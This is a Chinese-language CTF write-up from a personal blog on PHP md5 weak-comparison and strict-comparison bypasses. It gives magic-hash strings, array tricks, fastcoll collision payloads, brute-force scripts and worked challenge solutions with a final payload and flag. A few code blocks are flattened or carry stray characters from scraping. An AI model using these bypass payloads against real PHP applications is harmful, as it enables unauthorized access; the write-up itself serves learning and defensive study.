浅谈md5弱类型比较和强碰撞

浅谈md5弱类型比较和强碰撞

基本知识

php中有两种比较的符号==与=====在进行比较的时候,如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行。

===在进行比较的时候,会先判断两种字符串的类型是否相等,再比较。

img

0e开头且都是数字的字符串,弱类型比较都等于0。

img

==比较

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 <?php
if (isset($_POST['a']) and isset($_POST['b']))
{
if ($_POST['a'] != $_POST['b'])
{
if (md5($_POST['a']) == md5($_POST['b']))
{
echo 'flag';
}
else{
echo 'you are wrong';
}
}
else echo "请输入不同的a,b值";
}

解法1

由于md5不能加密数组,在加密数组的时候会返回NULL

img

所以,我们可以传入两个数组

img

解法2

可以传入两个md5加密后是0e开头的字符串,需要注意的地方是,这个以0e开头的字符串只能是纯数字,这样php在进行科学计算法的时候才会将它转化为0。可以查找以0e开头md5加密相等的字符串,也可以自己编写代码,提供以下脚本。

1
2
3
4
5
6
7
8
9
10
<?php
for($a=1;$a<=1000000000;$a++){
$md5 = md5($a);
if(preg_match('/^0e\d+$/',$md5)){
echo $a;
echo "\n";
echo $md5;
echo "\n";
}
}

img

s1502113478a

0e861580163291561247404381396064

s1885207154a

0e509367213418206700842008763514

s1836677006a

0e481036490867661113260034900752

s155964671a

0e342768416822451524974117254469

s1184209335a

0e072485820392773389523109082030

img

===比较

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if (isset($_POST['a']) and isset($_POST['b']))
{
if ($_POST['a'] != $_POST['b'])
{
if (md5($_POST['a']) === md5($_POST['b']))
echo 'flag';
else
echo 'you are wrong';
}
else echo "请输入不同的a,b值";
}
?>

解法1:

也可以传入两个数组,但不再适合传入两个0e开头的字符串,因为===是md5的强碰撞,进行了严格的过滤。

img

解法2:

使用md5加密后两个完全相等的两个字符串来绕过过滤。

如何生成两个不一样的字符串,但是MD5是一样的呢。参考如何用不同的数值构建一样的MD5后,我们可以使用快速MD5碰撞生成器来构建两个MD5一样,但内容完全不一样的字符串。

fastcoll_v1.0.0.5.exe.zip

构造

创建一个文本文件,写入任意的文件内容,命名为ywj.txt (源文件)

运行fastcoll输出以下参数。-p 是源文件,-o是输出文件

fastcoll_v1.0.0.5.exe -p ywj.txt -o 1.txt 2.txt

img

测试

对生产的1.txt和2.txt文件进行测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
function readmyfile($path){
$fh = fopen($path, "rb");
$data = fread($fh, filesize($path));
fclose($fh);
return $data;
}
echo '二进制md5加密 '. md5( (readmyfile("1.txt")));
echo "</br>";
echo 'url编码 '. urlencode(readmyfile("1.txt"));
echo "</br>";
echo '二进制md5加密 '.md5( (readmyfile("2.txt")));
echo "</br>";
echo 'url编码 '. urlencode(readmyfile("2.txt"));
echo "</br>";

二进制md5加密 8e4ef6c69a337c0de0208455ee69a416

url编码

1
1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%A3njn%FD%1A%CB%3A%29Wr%02En%CE%89%9A%E3%8EF%F1%BE%E9%EE3%0E%82%2A%95%23%0D%FA%CE%1C%F2%C•4P%C2%B7s%0F%C8t%F28%FAU%AD%2C%EB%1D%D8%D2%00%8C%3B%FCN%C9b4%DB%AC%17%A8%BF%3Fh%84i%F4%1E%B5Q%7B%FC%B9RuJ%60%B4%0D7%F9%F9%00%1E%C1%1B%16%C9M%2A%7D%B2%BBoW%02%7D%8F%7F%C0qT%D0%CF%3A%9DFH%F1%25%AC%DF%FA%C4G%27uW%CFNB%E7%EF%B0

二进制md5加密 8e4ef6c69a337c0de0208455ee69a416

url编码

1
1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%A3njn%FD%1A%CB%3A%29Wr%02En%CE%89%9A%E3%8E%C6%F1%BE%E9%EE3%0E%82%2A%95%23%0D%FA%CE%1C%F2%C4P%C2%B7s%0F%C8t%F28zV%AD%2C%EB%1D%D8%D2%00%8C%3B%FCN%C9%E24%DB%AC%17%A8%BF%3Fh%84i%F4%1E%B5Q%7B%FC%B9RuJ%60%B4%0D%B7%F9%F9%00%1E%C1%1B%16%C9M%2A%7D%B2%BBoW%02%7D%8F%7F%C0qT%D0%CF%3A%1DFH%F1%25%AC%DF%FA%C4G%27uW%CF%CEB%E7%EF%B0

可以看到,1.txt和2.txt文件二进制md5加密后的结果完全相同。由于1.txt和2.txt文件中含有不可见字符,所以需要将其url编码后使用。可以看到url编码后的两个字符串不完全相同,满足我们输入两个不同参数的需要。

img

当题目限制不能传入数组,只能传入字符串时,如下例题,就只能采用解法2.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
if((string)$_GET['a'] !== (string)$_GET['b'] && md5($_GET['a'])===md5($_GET['b'])){
echo "you are right";
}
else {
echo "you are wrong";
}
HECTF ezphp
源码
<?php
error_reporting(0);
highlight_file(__file__);
include('flag.php');
$string_1 = $_GET['str1'];
$string_2 = $_GET['str2'];
if($_GET['param1']!==$_GET['param2']&&md5($_GET['param1'])===md5($_GET['param2'])){
if(is_numeric($string_1)){
$md5_1 = md5($string_1);
$md5_2 = md5($string_2);
if($md5_1 != $md5_2){
$a = strtr($md5_1, 'cxhp', '0123');
$b = strtr($md5_2, 'cxhp', '0123');
if($a == $b){
echo $flag;
}
}
else {
die("md5 is wrong");
}
}
else {
die('str1 not number');
}
}
?>

首先查看一些strtr()函数的用法:

strtr() 函数转换字符串中特定的字符。

img

观察源码,要求传入四个参数,首先param1===param2,因为没有别的限制,所以我们可以传入两个数组。对于是str1和str2,首先str1只能是数字,且最后$a == $b,但md5_1 != md5_2,所以我们不能传入两个md5加密后以0e开头的字符串。

又因为会将md5加密后的str1和str2中的cxhp替换成0123,也就是说c会被替换成0,所以一个ce开头的字符串会被替换成0e开头的字符串。

可以想到只要找到两个md5加密后是ce开头的字符串,或者一个md5加密后是ce开头的字符串,一个md5加密后是0e开头的字符串就可以绕过过滤。

构造脚本

1
2
3
4
5
6
7
8
9
10
11
<?php
for($a = 1; $a <= 100000000; $a++) {
$md5 = strtr(md5($a),'cxhp', '0123');
if(preg_match('/^0e\d+$/', $md5)) {
echo $a;
echo "\n";
echo $md5;
echo "\n";
}
}
?>

img

img

实战演练

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
function random() {
$a = rand(133,600)*78;
$b = rand(18,195);
return $a+$b;
}
$r = random();
if((string)$_GET['a']==(string)md5($_GET['b'])){
if($a.$r == $b) {
print "Yes,you are right";
}
else {
print "you are wrong";
}
}
?>

观察代码,有一个rondom方法,返回的是一个随机数,在这道题中,不需要清楚返回的是什么内容,我们只要知道返回的是一串数字就可以了。传入两个参数a和b,要求传入的是字符串,b会经过md5加密。最后要让$a.$r == $b。因为是弱类型比较,且只能传入字符串,想要的是两个0e开头的字符串进行比较,前面我们已经知道,以0e开头的字符串只能是纯数字,这样php在进行科学计算法的时候才会将它转化为0。所以保证$a以0e开头就可以了,因为$r是一串数字,所以$a.$r在php中还是可以被解析为0。因为$b是参数b经过md5加密而来,所以我们传入md5加密后是0e开头的字符串即可。

img

MD5套娃综合利用题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
include('flag.php');
$string_1 = $_GET['str1'];
$string_2 = $_GET['str2'];
$a = $_GET['a'];
$b = $_GET['b'];
highlight_file(__FILE__);
if(isset($_POST['aa']) and isset($_POST['bb']))
{
if($_POST['aa']!=$_POST['bb'])
{
if (md5($_POST['aa']) == md5($_POST['bb']))
{
if (isset($a) && isset($b))
{
if ($a != $b && 0 == md5(md5($b)))
{
if(substr(md5($_GET['c']),0,5)=='9331c')
{
if(!is_numeric($string_1))
{
$md5_1 = md5($string_1);
$md5_2 = md5($string_2);
if($md5_1 != $md5_2)
{
$a = strtr($md5_1, 'cxhp', '0123');
$b = strtr($md5_2, 'cxhp', '0123');
if($a == $b)
{
echo $flag;
}
else{ die("can u give me the right str???");}

}
else{ die("no!!!!!!!!"); } }
} }
else { echo "wrong!"; }
} else { echo 'wrong!!!!'; }
} else echo 'you are wrong'; }
else echo "请输入不同的a,b值";}elseecho "请输入a,b值";

Warning: md5() expects parameter 1 to be string, array given in /var/www/html/index.php on line 10

Warning: md5() expects parameter 1 to be string, array given in /var/www/html/index.php on line 10
flag{bc65416d-d33c-42f4-9586-13798cd8e4ab}

payload:

get: ?a=0&b=V5VDSHva7fjyJoJ33IQl&c=21175023&str1=9178521abc&str2=30212349
post: aa[]=1&bb[]=2

补充相关知识:

1.MD5截断比较验证

以De1CTF线上赛Web3为例,在De1CTF中,我遇到的MD5截断比较验证是这样的:

这个验证码提示意思为“将问号(即为Code)进行md5加密之后截取前5位===9331c”**

那么在理论上存在的可能性有16^5种,页面每次刷新之后md5都会更新一次,但是在现实中,md5前五位相同是多解

那么我们的思路就可以梳理为:创建一个彩虹表进行比对,暴力猜解Code

1
from multiprocessing.dummy import Pool as tpimport hashlibknownMd5 = '9331c'      #已知的md5明文def md5(text):     return hashlib.md5(str(text).encode('utf-8')).hexdigest()def findCode(code):       key = code.split(':')    start = int(key[0])      end = int(key[1])     for code in range(start, end):        if md5(code)[0:5] == knownMd5:                        print code            breaklist=[] for i in range(3):    #这里的range(number)指爆破出多少结果停止    list.append(str(10000000*i) + ':' + str(10000000*(i+1)))pool = tp()    #使用多线程加快爆破速度pool.map(findCode, list) pool.close()pool.join()

2.本题生成绕过$str1的脚本如下:

1
<?php    for($a = 1; $a <= 100000000; $a++) {    $b='abc';   $md5 = strtr(md5(($a.$b)),'cxhp', '0123');     if(preg_match('/^0e\d+$/', $md5))        {          echo $a.$b;           echo "\n";         echo $md5;          echo "\n";      }        }?>----------->>>9178521abc0e084232128504747924645498217260
文章作者: uf9n1x
文章链接: https://uf9n1x.top/2022/04/07/qian-tan-md5-ruo-lei-xing-bi-jiao-he-qiang-peng-zhuang/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Uf9n1x's Blog